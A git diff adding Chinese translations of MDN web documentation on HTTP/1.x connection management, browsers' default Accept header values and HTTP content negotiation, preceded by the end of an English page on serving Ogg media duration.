reported in HH:MM:SS format. You'll need to convert it to seconds only, then serve that as your <code>X-Content-Duration</code> value. Just parse out the HH, MM, and SS into numbers, then do (HH*3600)+(MM*60)+SS to get the value you should report.</p> + +<p>It's important to note that it appears that <code>oggz-info</code> makes a read pass of the media in order to calculate its duration, so it's a good idea to store the duration value in order to avoid lengthy delays while the value is calculated for every HTTP request of your Ogg media.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/Media/Formats">Guide to media types and formats on the web</a></li> + <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a></li> + <li><a href="/en-US/docs/Web/Media/Formats/codecs_parameter">The "codecs" parameter in common media types</a></li> +</ul> diff --git a/files/zh-cn/web/http/connection_management_in_http_1.x/index.html b/files/zh-cn/web/http/connection_management_in_http_1.x/index.html new file mode 100644 index 0000000000..64a2646643 --- /dev/null +++ b/files/zh-cn/web/http/connection_management_in_http_1.x/index.html @@ -0,0 +1,88 @@ +--- +title: HTTP/1.x 的连接管理 +slug: Web/HTTP/Connection_management_in_HTTP_1.x +tags: + - TCP +translation_of: Web/HTTP/Connection_management_in_HTTP_1.x +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">连接管理是一个 HTTP 的关键话题:打开和保持连接在很大程度上影响着网站和 Web 应用程序的性能。在 HTTP/1.x 里有多种模型:<em>短连接</em>, <em>长连接</em>, 和 <em>HTTP 流水线。 </em></p> + +<p>HTTP 的传输协议主要依赖于 TCP 来提供从客户端到服务器端之间的连接。在早期,HTTP 使用一个简单的模型来处理这样的连接。这些连接的生命周期是短暂的:每发起一个请求时都会创建一个新的连接,并在收到应答时立即关闭。</p> + +<p>这个简单的模型对性能有先天的限制:打开每一个 TCP 连接都是相当耗费资源的操作。客户端和服务器端之间需要交换好些个消息。当请求发起时,网络延迟和带宽都会对性能造成影响。现代浏览器往往要发起很多次请求(十几个或者更多)才能拿到所需的完整信息,证明了这个早期模型的效率低下。</p> + +<p>有两个新的模型在 HTTP/1.1 诞生了。首先是长连接模型,它会保持连接去完成多次连续的请求,减少了不断重新打开连接的时间。然后是 HTTP 流水线模型,它还要更先进一些,多个连续的请求甚至都不用等待立即返回就可以被发送,这样就减少了耗费在网络延迟上的时间。</p> + +<p><img alt="Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining." src="https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png" style="height: 538px; width: 813px;"></p> + +<div class="note"> +<p>HTTP/2 新增了其它连接管理模型。</p> +</div> + +<p>要注意的一个重点是 HTTP 的连接管理适用于两个连续节点之间的连接,如 <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>,而不是 <a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end</a>。当模型用于从客户端到第一个代理服务器的连接和从代理服务器到目标服务器之间的连接时(或者任意中间代理)效果可能是不一样的。HTTP 协议头受不同连接模型的影响,比如 {{HTTPHeader("Connection")}} 和 {{HTTPHeader("Keep-Alive")}},就是 <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a> 协议头,它们的值是可以被中间节点修改的。</p> + +<p>一个相关的话题是HTTP连接升级,在这里,一个HTTP/1.1 连接升级为一个不同的协议,比如TLS/1.0,Websocket,甚至明文形式的HTTP/2。更多细节参阅<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Protocol_upgrade_mechanism">协议升级机制</a>。</p> + +<h2 id="短连接">短连接</h2> + +<p>HTTP 最早期的模型,也是 HTTP/1.0 的默认模型,是短连接。每一个 HTTP 请求都由它自己独立的连接完成;这意味着发起每一个 HTTP 请求之前都会有一次 TCP 握手,而且是连续不断的。</p> + +<p>TCP 协议握手本身就是耗费时间的,所以 TCP 可以保持更多的热连接来适应负载。短连接破坏了 TCP 具备的能力,新的冷连接降低了其性能。</p> + +<p>这是 HTTP/1.0 的默认模型(如果没有指定 {{HTTPHeader("Connection")}} 协议头,或者是值被设置为 <code>close</code>)。而在 HTTP/1.1 中,只有当 {{HTTPHeader("Connection")}} 被设置为 <code>close</code> 时才会用到这个模型。</p> + +<div class="note"> +<p>除非是要兼容一个非常古老的,不支持长连接的系统,没有一个令人信服的理由继续使用这个模型。</p> +</div> + +<h2 id="长连接">长连接</h2> + +<p>短连接有两个比较大的问题:创建新连接耗费的时间尤为明显,另外 TCP 连接的性能只有在该连接被使用一段时间后(热连接)才能得到改善。为了缓解这些问题,<em>长连接</em> 的概念便被设计出来了,甚至在 HTTP/1.1 之前。或者这被称之为一个 <em>keep-alive </em>连接。</p> + +<p>一个长连接会保持一段时间,重复用于发送一系列请求,节省了新建 TCP 连接握手的时间,还可以利用 TCP 的性能增强能力。当然这个连接也不会一直保留着:连接在空闲一段时间后会被关闭(服务器可以使用 {{HTTPHeader("Keep-Alive")}} 协议头来指定一个最小的连接保持时间)。</p> + +<p>长连接也还是有缺点的;就算是在空闲状态,它还是会消耗服务器资源,而且在重负载时,还有可能遭受 {{glossary("DoS attack", "DoS attacks")}} 攻击。这种场景下,可以使用非长连接,即尽快关闭那些空闲的连接,也能对性能有所提升。</p> + +<p>HTTP/1.0 里默认并不使用长连接。把 {{HTTPHeader("Connection")}} 设置成 <code>close</code> 以外的其它参数都可以让其保持长连接,通常会设置为 <code>retry-after。</code></p> + +<p>在 HTTP/1.1 里,默认就是长连接的,协议头都不用再去声明它(但我们还是会把它加上,万一某个时候因为某种原因要退回到 HTTP/1.0 呢)。</p> + +<h2 id="HTTP_流水线">HTTP 流水线</h2> + +<div class="note"> +<p>HTTP 流水线在现代浏览器中并不是默认被启用的:</p> + +<ul> + <li>Web 开发者并不能轻易的遇见和判断那些搞怪的<a href="https://en.wikipedia.org/wiki/Proxy_server">代理服务器</a>的各种莫名其妙的行为。</li> + <li>正确的实现流水线是复杂的:传输中的资源大小,多少有效的 <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> 会被用到,还有有效带宽,流水线带来的改善有多大的影响范围。不知道这些的话,重要的消息可能被延迟到不重要的消息后面。这个重要性的概念甚至会演变为影响到页面布局!因此 HTTP 流水线在大多数情况下带来的改善并不明显。</li> + <li>流水线受制于 <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a> 问题。</li> +</ul> + +<p>由于这些原因,流水线已经被更好的算法给代替,如 <em>multiplexing</em>,已经用在 HTTP/2。</p> +</div> + +<p>默认情况下,<a href="/en/HTTP" title="en/HTTP">HTTP</a> 请求是按顺序发出的。下一个请求只有在当前请求收到应答过后才会被发出。由于会受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。</p> + +<p>流水线是在同一条长连接上发出连续的请求,而不用等待应答返回。这样可以避免连接延迟。理论上讲,性能还会因为两个 HTTP 请求有可能被打包到一个 TCP 消息包中而得到提升。就算 HTTP 请求不断的继续,尺寸会增加,但设置 TCP 的 <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a>(Maximum Segment Size) 选项,仍然足够包含一系列简单的请求。</p> + +<p>并不是所有类型的 HTTP 请求都能用到流水线:只有 {{glossary("idempotent")}} 方式,比如 {{HTTPMethod("GET")}}、{{HTTPMethod("HEAD")}}、{{HTTPMethod("PUT")}} 和 {{HTTPMethod("DELETE")}} 能够被安全的重试:如果有故障发生时,流水线的内容要能被轻易的重试。</p> + +<p>今天,所有遵循 HTTP/1.1 的代理和服务器都应该支持流水线,虽然实际情况中还是有很多限制:一个很重要的原因是,目前没有现代浏览器默认启用这个特性。</p> + +<h2 id="域名分片">域名分片</h2> + +<div class="note"> +<p>除非你有紧急而迫切的需求,不要使用这一过时的技术,升级到 HTTP/2 就好了。在 HTTP/2 里,做域名分片就没必要了:HTTP/2 的连接可以很好的处理并发的无优先级的请求。域名分片甚至会影响性能。大多数 HTTP/2 的实现还会使用一种称作<a href="https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/">连接凝聚</a>的技术去尝试合并被分片的域名。</p> +</div> + +<p>作为 HTTP/1.x 的连接,请求是序列化的,哪怕本来是无序的,在没有足够庞大可用的带宽时,也无从优化。一个解决方案是,浏览器为每个域名建立多个连接,以实现并发请求。曾经默认的连接数量为 2 到 3 个,现在比较常用的并发连接数已经增加到 6 条。如果尝试大于这个数字,就有触发服务器 DoS 保护的风险。</p> + +<p>如果服务器端想要更快速的响应网站或应用程序的应答,它可以迫使客户端建立更多的连接。例如,不要在同一个域名下获取所有资源,假设有个域名是 <code>www.example.com</code>,我们可以把它拆分成好几个域名:<code>www1.example.com</code>、<code>www2.example.com</code><font face="Open Sans, Arial, sans-serif">、</font><code>www3.example.com</code>。所有这些域名都指向同一台服务器,浏览器会同时为每个域名建立 6 条连接(在我们这个例子中,连接数会达到 18 条)。这一技术被称作域名分片。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p> + +<h2 id="结论">结论</h2> + +<p>改进后的连接管理极大的提升了 HTTP 的性能。不管是 HTTP/1.1 还是 HTTP/1.0,使用长连接 – 直到进入空闲状态 – 都能达到最佳的性能。然而,解决流水线故障需要设计更先进的连接管理模型,HTTP/2 已经在尝试了。</p> diff --git a/files/zh-cn/web/http/content_negotiation/accept_默认值/index.html b/files/zh-cn/web/http/content_negotiation/accept_默认值/index.html new file mode 100644 index 0000000000..9db5868657 --- /dev/null +++ b/files/zh-cn/web/http/content_negotiation/accept_默认值/index.html @@ -0,0 +1,248 @@ +--- +title: Accept 默认值 +slug: Web/HTTP/Content_negotiation/Accept_默认值 +translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">本文介绍了在一些特定输入和浏览器版本下的HTTP <code><a href="/en-US/docs/Web/HTTP/Headers/Accept">Accept</a></code> 头的默认值</span></p> + +<h2 id="默认值">默认值</h2> + +<p>这些值将在上下文未设置其它信息时被使用。 注意:所有的浏览器都会添加 <code>*/*</code> MIME 类型以涵盖各种情况。这通常用于通过浏览器的地址栏或HTML {{HTMLElement("a")}} 标签发起的请求。</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th> Value</th> + <th> Comment</th> + </tr> + <tr> + <td>Firefox</td> + <td><code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code><br> + </td> + <td><code>这个值可以通过<a class="external" href="http://kb.mozillazine.org/Network.http.accept.default" title="http://kb.mozillazine.org/Network.http.accept.default">network.http.accept.default</a></code> 参数来修改。</td> + </tr> + <tr> + <td>Safari, Chrome</td> + <td> + <p><code>application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5</code></p> + </td> + <td><a class="external" href="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">source</span></a></td> + </tr> + <tr> + <td>Safari 5</td> + <td> + <p><code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code></p> + </td> + <td>这是对早期 <code>Accept</code> 头的改进,不再把 <code>image/png</code> 排在 <code>text/html</code> 之前。</td> + </tr> + <tr> + <td>Internet Explorer 8</td> + <td><code>image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*</code></td> + <td> 请参见 <a class="external" href="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header (IEInternals' MSDN blog)</a>.</td> + </tr> + <tr> + <td>Edge</td> + <td><font face="Consolas, Liberation Mono, Courier, monospace">text/html, application/xhtml+xml, image/jxr, */*</font></td> + <td> </td> + </tr> + <tr> + <td>Opera</td> + <td><code>text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1</code></td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="image请求">image请求</h2> + +<p>当请求一张图片时, 比如一个 HTML {{HTMLElement("img")}} 元素, 用户代理通常会设置一个特定的媒体类型列表。</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Value</th> + <th>Comment</th> + </tr> + <tr> + <td>Firefox</td> + <td><code>*/*</code> (since Firefox 47)<br> + <code>image/png,image/*;q=0.8,*/*;q=0.5</code> (before)</td> + <td> 这个值可以通过 <code>image.http.accept</code> 参数修改。</td> + </tr> + <tr> + <td>Safari</td> + <td><code>*/*</code></td> + <td> </td> + </tr> + <tr> + <td>Chrome</td> + <td><code>image/webp,image/*,*/*;q=0.8</code></td> + <td> 在支持webp格式之前,是使用的 <code>*/*</code></td> + </tr> + <tr> + <td>Internet Explorer 8 及更早版本</td> + <td><code>*/*</code></td> + <td> 请参见 <a class="external" href="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header (IEInternals' MSDN blog)</a></td> + </tr> + <tr> + <td>Internet Explorer 9</td> + <td><code>image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5</code></td> + <td>请参见 <a class="external" href="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)</a></td> + </tr> + </tbody> +</table> + +<h2 id="video请求">video请求</h2> + +<p>通过HTML {{HTMLElement("video")}} 元素请求一个video时, 大多数浏览器会使用特定值。</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Value</th> + <th>Comment</th> + </tr> + <tr> + <td>Firefox 3.6 之前的版本</td> + <td><em> 不支持 {{HTMLElement("video")}}</em></td> + <td> </td> + </tr> + <tr> + <td>Firefox 3.6 及以上版本</td> + <td><code>audio/webm, audio/ogg, audio/wav, audio/*;q=0.9, application/ogg;q=0.7, video/*;q=0.6; */*;q=0.5</code></td> + <td> 请参见<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=489071" title="https://bugzilla.mozilla.org/show_bug.cgi?id=489071">bug 489071</a></td> + </tr> + <tr> + <td>Chrome</td> + <td><code>*/*</code></td> + <td> </td> + </tr> + <tr> + <td>Internet Explorer 8 或更早的版本</td> + <td><em> 不支持 {{HTMLElement("video")}}</em></td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="audio请求">audio请求</h2> + +<p>通过HTML {{HTMLElement("audio")}} 元素请求audio资源时, 大多数浏览器会使用特定值。</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Value</th> + <th>Comment</th> + </tr> + <tr> + <td>Firefox 3.6 及以上版本</td> + <td><code>audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5</code></td> + <td>See <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=489071" title="https://bugzilla.mozilla.org/show_bug.cgi?id=489071">bug 489071</a></td> + </tr> + <tr> + <td>Safari, Chrome</td> + <td>?</td> + <td> </td> + </tr> + <tr> + <td>Internet Explorer 8 及更早版本</td> + <td><em> 不支持 {{HTMLElement("audio")}}</em></td> + <td> </td> + </tr> + <tr> + <td>Internet Explorer 9</td> + <td>?</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="scripts请求">scripts请求</h2> + +<p>当通过 {{HTMLElement("script")}} 元素请求script时, 一些浏览器使用特定值。</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Value</th> + <th>Comment</th> + </tr> + <tr> + <td>Firefox</td> + <td><code>*/*</code></td> + <td> 请参见<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=170789" title="https://bugzilla.mozilla.org/show_bug.cgi?id=170789">bug 170789</a></td> + </tr> + <tr> + <td>Safari, Chrome</td> + <td><code>*/*</code></td> + <td> </td> + </tr> + <tr> + <td>Internet Explorer 8 及更早版本</td> + <td><code>*/*</code></td> + <td>请参见 <a class="external" href="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header (IEInternals' MSDN blog)</a></td> + </tr> + <tr> + <td>Internet Explorer 9</td> + <td><code>application/javascript, */*;q=0.8</code></td> + <td>请参见 <a class="external" href="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)</a></td> + </tr> + </tbody> +</table> + +<h2 id="CSS_请求">CSS 请求</h2> + +<p>当通过 <code><link rel="stylesheet"></code> HTML 元素请求CSS样式表时, 大多数浏览器使用特定值。</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Value</th> + <th>Comment</th> + </tr> + <tr> + <td>Firefox 4</td> + <td><code>text/css,*/*;q=0.1</code></td> + <td> 请参见<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=170789" title="https://bugzilla.mozilla.org/show_bug.cgi?id=170789">bug 170789</a></td> + </tr> + <tr> + <td>Safari 5</td> + <td><code>text/css,*/*;q=0.1</code></td> + <td> </td> + </tr> + <tr> + <td>Internet Explorer 8 及更早版本</td> + <td><code>*/*</code></td> + <td>请参见 <a class="external" href="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header (IEInternals' MSDN blog)</a></td> + </tr> + <tr> + <td>Internet Explorer 9</td> + <td><code>text/css</code></td> + <td>请参见 <a class="external" href="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)</a></td> + </tr> + <tr> + <td>Chrome 12</td> + <td><code>text/css,*/*;q=0.1</code></td> + <td> </td> + </tr> + <tr> + <td>Opera 11.10</td> + <td><code>text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 </code></td> + <td> </td> + </tr> + <tr> + <td>Konqueror 4.6</td> + <td><code>text/css,*/*;q=0.1</code></td> + <td> </td> + </tr> + </tbody> +</table> diff --git a/files/zh-cn/web/http/content_negotiation/index.html b/files/zh-cn/web/http/content_negotiation/index.html new file mode 100644 index 0000000000..d5538da946 --- /dev/null +++ b/files/zh-cn/web/http/content_negotiation/index.html @@ -0,0 +1,147 @@ +--- +title: 内容协商 +slug: Web/HTTP/Content_negotiation +tags: + - 内容协商 +translation_of: Web/HTTP/Content_negotiation +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">在 <a href="/en-US/docs/Glossary/HTTP">HTTP</a> 协议中,内容协商是这样一种机制,通过为同一 URI 指向的资源提供不同的展现形式,可以使用户代理选择与用户需求相适应的最佳匹配(例如,文档使用的自然语言,图片的格式,或者内容编码形式)。</p> + +<div class="note"> +<p>注意:HTTP内容协商的一些不好的地方在这篇文章中有介绍<a href="https://wiki.whatwg.org/wiki/Why_not_conneg">a wiki page from WHATWG</a>,HTML5提供其他的选择来进行内容协商,如<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/source"><code><source></code> element</a>。</p> +</div> + +<h2 id="内容协商的基本原则">内容协商的基本原则</h2> + +<p>一份特定的文件称为一项资源。当客户端获取资源的时候,会使用其对应的 URL 发送请求。服务器通过这个 URL 来选择它指向的资源的某一变体——每一个变体称为一种展现形式——然后将这个选定的展现形式返回给客户端。整个资源,连同它的各种展现形式,共享一个特定的 URL 。当一项资源被访问的时候,特定展现形式的选取是通过内容协商机制来决定的,并且客户端和服务器端之间存在多种协商方式。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p> + +<p>最佳展现形式的选取可以通过两种机制实现:</p> + +<ul> + <li>客户端设置特定的 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 首部</a> (又称为服务端驱动型内容协商机制或者主动协商机制);这是进行内容协商的标准方式;</li> + <li>服务器返回 {{HTTPStatus("300")}} (Multiple Choices) 或者 {{HTTPStatus("406")}} (Not Acceptable) <a href="/en-US/docs/Web/HTTP/Status">HTTP 状态码</a> (又称为代理驱动型协商机制或者响应式协商机制);这种方式一般用作备选方案。</li> +</ul> + +<p>随着时间的推移,也有其他一些内容协商的提案被提出来,比如透明内容协商以及 Alternates 首部。但是它们都没有获得人们的认可从而被遗弃。</p> + +<h2 id="服务端驱动型内容协商机制">服务端驱动型内容协商机制</h2> + +<p>在服务端驱动型协商机制或者主动协商机制中,浏览器(或者其他任何类型的用户代理)会随同 URL 发送一系列的消息头。这些消息头描述了用户倾向的选择。服务器则以此为线索,通过内部算法来选择最佳方案提供给客户端。相关算法与具体的服务器相关,并没有在规范中进行规定。例如这里有一份 <a class="external" href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">Apache 2.2 服务器的内容协商算法</a>。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p> + +<p>HTTP/1.1 规范指定了一系列的标准消息头用于启动服务端驱动型内容协商 ({{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Charset")}}、 {{HTTPHeader("Accept-Encoding")}}、{{HTTPHeader("Accept-Language")}})。尽管严格来说 {{HTTPHeader("User-Agent")}} 并不在此列,有时候它还是会被用来确定给客户端发送的所请求资源的特定展现形式,不过这种做法不提倡使用。服务器会使用 {{HTTPHeader("Vary")}} 消息头来说明实际上哪些消息头被用作内容协商的参考依据(确切来说是与之相关的响应消息头),这样可以使<a href="/en-US/docs/Web/HTTP/Caching">缓存</a>的运作更有效。</p> + +<p>除此之外,有一个建议向可供选择的列表中增加更多的消息头的实验性提案,称为“客户端示意”(client hints)。客户端示意机制可以告知运行用户代理的设备类型(例如,是桌面计算机还是移动设备)。</p> + +<p>即便服务端驱动型内容协商机制是最常用的对资源特定展现形式进行协商的方式,它存在如下几个缺点:</p> + +<ul> + <li>服务器对浏览器并非全知全能。即便是有了客户端示意扩展,也依然无法获取关于浏览器能力的全部信息。与客户端进行选择的代理驱动型内容协商机制不同,服务器端的选择总是显得有点武断。</li> + <li>客户端提供的信息相当冗长(HTTP/2 协议的首部压缩机制缓解了这个问题),并且存在隐私风险(HTTP 指纹识别技术)。</li> + <li>因为给定的资源需要返回不同的展现形式,共享缓存的效率会降低,而服务器端的实现会越来越复杂。</li> +</ul> + +<h3 id="Accept_首部"><code>Accept</code> 首部</h3> + +<p>{{HTTPHeader("Accept")}} 首部列举了用户代理希望接收的媒体资源的 MIME 类型。其中不同的 MIME 类型之间用逗号分隔,同时每一种 MIME 类型会配有一个品质因数(quality factor),该参数明确了不同 MIME 类型之间的相对优先级。</p> + +<p>{{HTTPHeader("Accept")}} 首部的值由浏览器或其他类型的用户代理确定,并且会由于上下文环境的不同而不同,比如在获取 HTML 页面、图片文件、视频文件或者是脚本文件的时候,无论是通过在地址栏中输入资源地址来获取还是通过 {{ HTMLElement("img") }}、{{ HTMLElement("video") }} 或 {{ HTMLElement("audio") }} 元素引用都是不一样的。浏览器可以自由使用它们认为最为合适的首部值;这里有一份<a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">常见浏览器 Accept 首部默认值</a>的完整列表。</p> + +<h3 id="Accept-CH_首部experimental_inline"><code>Accept-CH</code> 首部{{experimental_inline}}</h3> + +<div class="note"> +<p>这是被称为“客户端示意”(Client Hints)的<strong>实验性</strong>技术方案的一部分,目前仅在 Chrome 46 及以后的版本中得到了实现。</p> +</div> + +<p>该实验性首部 {{HTTPHeader("Accept-CH")}} 列出了服务器可以用来选择合适响应的配置数据。合法值如下:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Value</th> + <th scope="col">Meaning</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>Device-Memory</code></td> + <td>标明客户端设备的 RAM 内存大小。该值是个估计值,设备的实际内存值会向2的次方取整,且除以1024。比如512MB的内存对应的值为0.5。</td> + </tr> + <tr> + <td><code>DPR</code></td> + <td>标明客户端所在设备的像素比率。</td> + </tr> + <tr> + <td><code>Viewport-Width</code></td> + <td>标明用 CSS 像素数值表示的布局视口(layout viewport)宽度。</td> + </tr> + <tr> + <td><code>Width</code></td> + <td>标明用物理像素值表示的资源宽度(换句话说就是一张图片的固有大小)。</td> + </tr> + </tbody> +</table> + +<h3 id="Accept-Charset_首部"><code>Accept-Charset</code> 首部</h3> + +<p>{{HTTPHeader("Accept-Charset")}}首部用于告知服务器该客户代理可以理解何种形式的字符编码。按照传统,不同地区用户使用的的浏览器会被赋予不同的值,比如说西欧地区用户使用的浏览器中,该首部的值可能会是 <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> 。</p> + +<p>如今 UTF-8 编码已经得到了广泛的支持,成为首选的字符编码类型,<a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">为了通过减少基于配置信息的信息熵来更好地保护隐私信息</a>, 大多数浏览器会将 Accept-Charset 首部移除:Internet Explorer 8、Safari 5、Opera 11 以及 Firefox 10 都已经不再发送该首部。</p> + +<h3 id="Accept-CH-Lifetime_首部experimental_inline"><code>Accept-CH-Lifetime</code> 首部{{experimental_inline}}</h3> + +<div class="note"> +<p>这是被称为“客户端示意”(Client Hints)的<strong>实验性</strong>技术方案的一部分,目前仅在 Chrome 61 及以后的版本中得到了实现。</p> +</div> + +<p>该实验性首部 {{HTTPHeader("Accept-CH-Lifetime")}} 与 Accept-CH 首部中的 Device-Memory 值一同使用,标明设备应该与服务器共享指定大小的内存的时间。单位为毫秒。该首部为可选的。</p> + +<h3 id="Accept-Encoding_首部"><code>Accept-Encoding</code> 首部</h3> + +<p>{{HTTPHeader("Accept-Encoding")}} 首部明确说明了(接收端)可以接受的内容编码形式(所支持的压缩算法)。该首部的值是一个Q因子清单(例如 br, gzip;q=0.8),用来提示不同编码类型值的优先级顺序。默认值 identity 则优先级最低(除非声明为其他优先级)。</p> + +<p>将 HTTP 消息进行压缩是一种最重要的提升 Web 站点性能的方法。该方法会减小所要传输的数据量的大小,节省可用带宽。浏览器总是会发送该首部,服务器则应该配置为接受它,并且采用一定的压缩方案。</p> + +<h3 id="Accept-Language_首部"><code>Accept-Language</code> 首部</h3> + +<p>{{HTTPHeader("Accept-Language")}} 首部用来提示用户期望获得的自然语言的优先顺序。该首部的值是一个Q因子清单(例如 "de, en;q=0.7")。用户代理的图形界面上所采用的语言通常可以用来设置为默认值,但是大多数浏览器允许设置不同优先级的语言选项。</p> + +<p>由于<a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">基于配置信息的信息熵</a>的增加,修改后的值可以用作识别用户的指纹,所以不建议对其进行修改,不过这样的话 Web 站点也就不能依赖该值来揭示用户的真实期望。站点设计者不能过度热衷于通过这个首部来进行语言检测,因为它可能会导致糟糕的用户体验:</p> + +<ul> + <li>站点设计者应该总是提供一种方式来使用户能够覆盖由服务器端选择的语言,例如在页面上提供一个用于语言选择的按钮。大多数用户代理会为 Accept-Language 首部提供一个默认值,该值采用的是用户界面的显示的语言,通常终端用户不能对其进行修改,或者是不知道该怎么修改,或者是无法进行修改,例如在网络咖啡厅里的情形。</li> + <li>一旦用户覆盖了服务器端选择的语言选项,站点就不应该再使用语言检测技术,而应该忠于明确选择的语言选项。换句话说,只有站点的入口页面应该使用这个首部来选择合适的语言。</li> +</ul> + +<h3 id="User-Agent_首部"><code>User-Agent</code> 首部</h3> + +<div class="note"> +<p>尽管使用该首部来进行内容选择是合理的,但是依赖这个首部来确定用户代理都支持哪些功能特性通常<a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">被认为是一个糟糕的做法</a>。</p> +</div> + +<p>{{HTTPHeader("User-Agent")}} 首部可以用来识别发送请求的浏览器。该字符串中包含有用空格间隔的<strong>产品标记符</strong>及<strong>注释</strong>的清单。</p> + +<p><strong>产品标记符</strong>由产品名称、后面紧跟的 '/' 以及产品版本号构成,例如 Firefox/4.0.1 。用户代理可以随意添加多少产品标记符都可以。<strong>注释</strong>是一个用括号分隔的自由形式的字符串。显然括号本身不能用在该字符串中。规范没有规定注释的内部格式,不过一些浏览器会把一些标记符放置在里面,不同的标记符之间使用 ';' 分隔。</p> + +<h3 id="Vary_响应首部"><code>Vary</code> 响应首部</h3> + +<p>与前面列举的 Accept-* 形式的由客户端发送的首部相反,{{HTTPHeader("Vary")}} 首部是由服务器在响应中发送的。它标示了服务器在服务端驱动型内容协商阶段所使用的首部清单。这个首部是必要的,它可以用来通知缓存服务器决策的依据,这样它可以进行复现,使得缓存服务器在预防将错误内容提供给用户方面发挥作用。</p> + +<p>特殊值 '*' 意味着在服务端驱动型内容协商过程中同时采纳了未在首部中传递的信息来选择合适的内容。</p> + +<p>Vary 首部是在 HTTP 协议的 1.1 